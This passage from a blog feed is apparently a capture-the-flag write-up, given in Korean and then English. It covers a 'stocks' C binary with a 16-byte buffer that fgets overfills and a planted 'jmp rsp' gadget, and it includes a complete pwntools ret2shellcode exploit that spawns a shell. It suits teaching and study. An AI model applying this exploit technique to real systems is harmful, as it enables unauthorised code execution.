    <span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">atof</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">bool</span> <span class="nf">askb</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">prompt</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s [Y/n]: "</span><span class="p">,</span> <span class="n">prompt</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">r</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">();</span>
    <span class="k">return</span> <span class="n">r</span> <span class="o">!=</span> <span class="sc">'n'</span> <span class="o">&amp;&amp;</span> <span class="n">r</span> <span class="o">!=</span> <span class="sc">'N'</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">float</span> <span class="nf">randf</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="n">rand</span><span class="p">()</span><span class="o">/</span><span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="n">RAND_MAX</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">Stock</span> <span class="nf">create_stock</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">Stock</span> <span class="n">s</span><span class="p">;</span>
    <span class="n">s</span><span class="p">.</span><span class="n">income</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
    <span class="n">s</span><span class="p">.</span><span class="n">costs</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
    <span class="n">s</span><span class="p">.</span><span class="n">stock_price</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
    <span class="n">s</span><span class="p">.</span><span class="n">volatility</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
    <span class="n">s</span><span class="p">.</span><span class="n">ai_company</span> <span class="o">=</span> <span class="n">randf</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">s</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">srand</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>

    <span class="kt">float</span> <span class="n">profit</span> <span class="o">=</span> <span class="n">askf</span><span class="p">(</span><span class="s">"How important is profits to you?"</span><span class="p">);</span>
    <span class="kt">float</span> <span class="n">price</span> <span class="o">=</span> <span class="n">askf</span><span class="p">(</span><span class="s">"How much do you value big stocks?"</span><span class="p">);</span>
    <span class="kt">float</span> <span class="n">risk</span> <span class="o">=</span> <span class="n">askf</span><span class="p">(</span><span class="s">"How risk tolerant are you?"</span><span class="p">);</span>
    <span class="n">bool</span> <span class="n">ai</span> <span class="o">=</span> <span class="n">askb</span><span class="p">(</span><span class="s">"Do you want to be rich?"</span><span class="p">);</span>

    <span class="n">Algorithm</span> <span class="n">algorithm</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ai</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">bool</span> <span class="n">ai_alg</span><span class="p">(</span><span class="n">Stock</span> <span class="n">s</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"AI alg"</span><span class="p">);</span>
            <span class="k">return</span> <span class="n">s</span><span class="p">.</span><span class="n">ai_company</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">algorithm</span> <span class="o">=</span> <span class="n">ai_alg</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">bool</span> <span class="n">real_alg</span><span class="p">(</span><span class="n">Stock</span> <span class="n">s</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"Real alg"</span><span class="p">);</span>
            <span class="k">return</span> <span class="p">((</span><span class="n">s</span><span class="p">.</span><span class="n">income</span> <span class="o">-</span> <span class="n">s</span><span class="p">.</span><span class="n">costs</span><span class="p">)</span><span class="o">*</span><span class="n">profit</span> <span class="o">+</span> <span class="n">s</span><span class="p">.</span><span class="n">stock_price</span><span class="o">*</span><span class="n">price</span> <span class="o">+</span> <span class="n">s</span><span class="p">.</span><span class="n">volatility</span><span class="o">*</span><span class="n">risk</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">algorithm</span> <span class="o">=</span> <span class="n">real_alg</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kt">float</span> <span class="n">made</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">Stock</span> <span class="n">s</span> <span class="o">=</span> <span class="n">create_stock</span><span class="p">();</span>
        <span class="n">bool</span> <span class="n">bought</span> <span class="o">=</span> <span class="n">algorithm</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>

        <span class="kt">float</span> <span class="n">new_price</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">bought</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">made</span> <span class="o">+=</span> <span class="n">new_price</span><span class="o">-</span><span class="n">s</span><span class="p">.</span><span class="n">stock_price</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">made</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Yaaay you made %f dkk and are rich now</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">made</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"You lost %f dkk sorry tough luck</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">made</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">gadget</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">__asm__</span><span class="p">(</span>
        <span class="s">"jmp %rsp; ret;"</span>
    <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h2 id="취약점-분석">취약점 분석</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">float</span> <span class="nf">askf</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">prompt</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s (0.0-100.0): "</span><span class="p">,</span> <span class="n">prompt</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">atof</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>여기서 buf는 16바이트로 선언됐지만 fgets는 최대 256바이트까지 읽는다. 이 때문에 버퍼 오버플로우가 발생한다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">gadget</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">__asm__</span><span class="p">(</span>
        <span class="s">"jmp %rsp; ret;"</span>
    <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>gadget 함수 안의 <code class="language-plaintext highlighter-rouge">jmp rsp</code> 가젯은 ret2shellcode 공격을 가능하게 한다. NX가 걸려 있지 않기 때문이다.</p>

<hr />

<h2 id="익스플로잇-설계">익스플로잇 설계</h2>

<p><code class="language-plaintext highlighter-rouge">ret</code> 명령은 스택에서 값을 꺼내 그 주소로 점프한다. 리턴 주소를 <code class="language-plaintext highlighter-rouge">jmp rsp</code> 가젯 주소로 덮고 그 바로 뒤에 셸코드를 두면, 아래 흐름이 만들어진다.</p>

<p>페이로드 구성:
<code class="language-plaintext highlighter-rouge">[ 패딩 ] [ jmp rsp 주소 ] [ 셸코드 ]</code></p>

<p>실행 흐름:</p>

<ol>
  <li>함수 끝에서 <code class="language-plaintext highlighter-rouge">ret</code> 실행</li>
  <li>스택에서 <code class="language-plaintext highlighter-rouge">jmp rsp</code> 주소를 꺼냄 → rip에 저장</li>
  <li>rsp += 8 → rsp가 셸코드를 가리킴</li>
  <li><code class="language-plaintext highlighter-rouge">jmp rsp</code> 실행 → 셸코드로 점프</li>
  <li>셸코드 실행 → 셸 획득</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">[buffer: 16bytes] + [padding: ? bytes] + [jmp rsp 가젯 주소 (리턴 주소 자리)] + [Shellcode]</code></p>

<p>패딩 크기를 모르므로 cyclic으로 구했다.
<img src="/assets/img/posts/2026-08-24-01-46-51.png" alt="" />
결과가 24이므로 패딩은 8바이트임을 알 수 있다.</p>

<hr />

<h2 id="익스플로잇">익스플로잇</h2>

<p>BOF 오프셋을 알아냈으니, 이제 <code class="language-plaintext highlighter-rouge">jmp rsp</code> 가젯 주소만 찾으면 된다.
<code class="language-plaintext highlighter-rouge">objdump -d stocks | grep -A5 "gadget"</code>
<img src="/assets/img/posts/2026-08-24-01-49-54.png" alt="" />
<code class="language-plaintext highlighter-rouge">jmp rsp 가젯 주소: 0x401597</code></p>

<p>셸코드는 pwntools의 <code class="language-plaintext highlighter-rouge">shellcraft.sh()</code>로 어셈블리 텍스트를 만든 뒤 <code class="language-plaintext highlighter-rouge">asm()</code>으로 바이트코드로 변환했다.</p>

<p>최종 익스플로잇 코드는 다음과 같다:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./stocks'</span><span class="p">)</span>
<span class="c1">#p = remote('address', port, ssl=True)
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">sh</span><span class="p">())</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">16</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"B"</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401597</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">shellcode</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"(0.0-100.0): "</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p><img src="/assets/img/posts/2026-08-24-01-54-43.png" alt="" /></p>

<!--en-->

<h2 id="check-security-techniques">Check security techniques</h2>

<p><img src="/assets/img/posts/2026-08-23-04-32-43.png" alt="" />
Checksec reveals that no protection mechanisms are applied except for Partial RELRO.</p>

<p>The stocks program runs as follows when executed (input values are arbitrary):
<img src="/assets/img/posts/2026-08-24-01-29-45.png" alt="" /></p>

<h2 id="source-code-check">Source Code Check</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//stocks.c</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdbool.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stddef.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">float</span> <span class="n">income</span><span class="p">;</span>
    <span class="kt">float</span> <span class="n">costs</span><span class="p">;</span>
    <span class="kt">float</span> <span class="n">stock_price</span><span class="p">;</span>
    <span class="kt">float</span> <span class="n">volatility</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">ai_company</span><span class="p">;</span>
<span class="p">}</span> <span class="n">Stock</span><span class="p">;</span>

<span class="k">typedef</span> <span class="nf">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">Algorithm</span><span class="p">)(</span><span class="n">Stock</span> <span class="n">e</span><span class="p">);</span>

<span class="kt">float</span> <span class="nf">askf</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">prompt</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s (0.0-100.0): "</span><span class="p">,</span> <span class="n">prompt</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">atof</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">bool</span> <span class="nf">askb</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">prompt</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s [Y/n]: "</span><span class="p">,</span> <span class="n">prompt</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">r</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">();</span>
    <span class="k">return</span> <span class="n">r</span> <span class="o">!=</span> <span class="sc">'n'</span> <span class="o">&amp;&amp;</span> <span class="n">r</span> <span class="o">!=</span> <span class="sc">'N'</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">float</span> <span class="nf">randf</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="n">rand</span><span class="p">()</span><span class="o">/</span><span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="n">RAND_MAX</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">Stock</span> <span class="nf">create_stock</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">Stock</span> <span class="n">s</span><span class="p">;</span>
    <span class="n">s</span><span class="p">.</span><span class="n">income</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
    <span class="n">s</span><span class="p">.</span><span class="n">costs</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
    <span class="n">s</span><span class="p">.</span><span class="n">stock_price</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
    <span class="n">s</span><span class="p">.</span><span class="n">volatility</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
    <span class="n">s</span><span class="p">.</span><span class="n">ai_company</span> <span class="o">=</span> <span class="n">randf</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">s</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">srand</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>

    <span class="kt">float</span> <span class="n">profit</span> <span class="o">=</span> <span class="n">askf</span><span class="p">(</span><span class="s">"How important is profits to you?"</span><span class="p">);</span>
    <span class="kt">float</span> <span class="n">price</span> <span class="o">=</span> <span class="n">askf</span><span class="p">(</span><span class="s">"How much do you value big stocks?"</span><span class="p">);</span>
    <span class="kt">float</span> <span class="n">risk</span> <span class="o">=</span> <span class="n">askf</span><span class="p">(</span><span class="s">"How risk tolerant are you?"</span><span class="p">);</span>
    <span class="n">bool</span> <span class="n">ai</span> <span class="o">=</span> <span class="n">askb</span><span class="p">(</span><span class="s">"Do you want to be rich?"</span><span class="p">);</span>

    <span class="n">Algorithm</span> <span class="n">algorithm</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ai</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">bool</span> <span class="n">ai_alg</span><span class="p">(</span><span class="n">Stock</span> <span class="n">s</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"AI alg"</span><span class="p">);</span>
            <span class="k">return</span> <span class="n">s</span><span class="p">.</span><span class="n">ai_company</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">algorithm</span> <span class="o">=</span> <span class="n">ai_alg</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">bool</span> <span class="n">real_alg</span><span class="p">(</span><span class="n">Stock</span> <span class="n">s</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"Real alg"</span><span class="p">);</span>
            <span class="k">return</span> <span class="p">((</span><span class="n">s</span><span class="p">.</span><span class="n">income</span> <span class="o">-</span> <span class="n">s</span><span class="p">.</span><span class="n">costs</span><span class="p">)</span><span class="o">*</span><span class="n">profit</span> <span class="o">+</span> <span class="n">s</span><span class="p">.</span><span class="n">stock_price</span><span class="o">*</span><span class="n">price</span> <span class="o">+</span> <span class="n">s</span><span class="p">.</span><span class="n">volatility</span><span class="o">*</span><span class="n">risk</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">algorithm</span> <span class="o">=</span> <span class="n">real_alg</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kt">float</span> <span class="n">made</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">Stock</span> <span class="n">s</span> <span class="o">=</span> <span class="n">create_stock</span><span class="p">();</span>
        <span class="n">bool</span> <span class="n">bought</span> <span class="o">=</span> <span class="n">algorithm</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>

        <span class="kt">float</span> <span class="n">new_price</span> <span class="o">=</span> <span class="n">randf</span><span class="p">();</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">bought</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">made</span> <span class="o">+=</span> <span class="n">new_price</span><span class="o">-</span><span class="n">s</span><span class="p">.</span><span class="n">stock_price</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">made</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Yaaay you made %f dkk and are rich now</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">made</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"You lost %f dkk sorry tough luck</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">made</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">gadget</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">__asm__</span><span class="p">(</span>
        <span class="s">"jmp %rsp; ret;"</span>
    <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h2 id="discovered-vulnerabilities">Discovered Vulnerabilities</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">float</span> <span class="nf">askf</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">prompt</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s (0.0-100.0): "</span><span class="p">,</span> <span class="n">prompt</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">atof</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here, buf is declared as 16 bytes, but fgets reads up to 256 bytes. This causes a buffer overflow.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">gadget</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">__asm__</span><span class="p">(</span>
        <span class="s">"jmp %rsp; ret;"</span>
    <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">jmp rsp</code> gadget inside the gadget function enables a ret2shellcode attack, since NX is not enabled.</p>

<hr />

<h2 id="exploit-plan">Exploit Plan</h2>

<p>The <code class="language-plaintext highlighter-rouge">ret</code> instruction pops a value from the stack and jumps to it. By overwriting the return address with the address of the <code class="language-plaintext highlighter-rouge">jmp rsp</code> gadget and placing shellcode right after it, the following flow is achieved.</p>

<p>Payload layout:
<code class="language-plaintext highlighter-rouge">[ padding ] [ jmp rsp address ] [ shellcode ]</code></p>

<p>Execution flow:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">ret</code> executes at the end of the function</li>
  <li>Pops the <code class="language-plaintext highlighter-rouge">jmp rsp</code> address from the stack → stored in rip</li>
  <li>rsp += 8 → rsp now points to the shellcode</li>
  <li><code class="language-plaintext highlighter-rouge">jmp rsp</code> executes → jumps to the shellcode</li>
  <li>Shellcode runs → shell obtained</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">[buffer: 16bytes] + [padding: ? bytes] + [jmp rsp gadget address (return address space)] + [Shellcode]</code></p>

<p>Since the padding size is unknown, cyclic was used to determine it.
<img src="/assets/img/posts/2026-08-24-01-46-51.png" alt="" />
The result of 24 indicates that the padding is 8 bytes.</p>

<hr />

<h2 id="exploit">Exploit</h2>

<p>Since the BOF offset is known, only the <code class="language-plaintext highlighter-rouge">jmp rsp</code> gadget address needs to be found.
<code class="language-plaintext highlighter-rouge">objdump -d stocks | grep -A5 "gadget"</code>
<img src="/assets/img/posts/2026-08-24-01-49-54.png" alt="" />
<code class="language-plaintext highlighter-rouge">jump rsp gadget address: 0x401597</code></p>

<p>The shellcode was generated as assembly text using pwntools’ <code class="language-plaintext highlighter-rouge">shellcraft.sh()</code>, then converted to bytecode using <code class="language-plaintext highlighter-rouge">asm()</code>.</p>

<p>The final exploit code is as follows:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./stocks'</span><span class="p">)</span>
<span class="c1">#p = remote('address', port, ssl=True)
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">sh</span><span class="p">())</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">16</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"B"</span> <span class="o">*</span> <span class="mi">8</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401597</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">shellcode</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"(0.0-100.0): "</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p><img src="/assets/img/posts/2026-08-24-01-54-43.png" alt="" /></p>]]></content><author><name>Junseo Park</name></author><category term="ctf" /><category term="BrunnerCTF 2026" /><category term="pwn" /><category term="buffer overflow" /><category term="ret2shellcode" /><category term="jmp rsp" /><summary type="html"><![CDATA[]]></summary></entry></feed>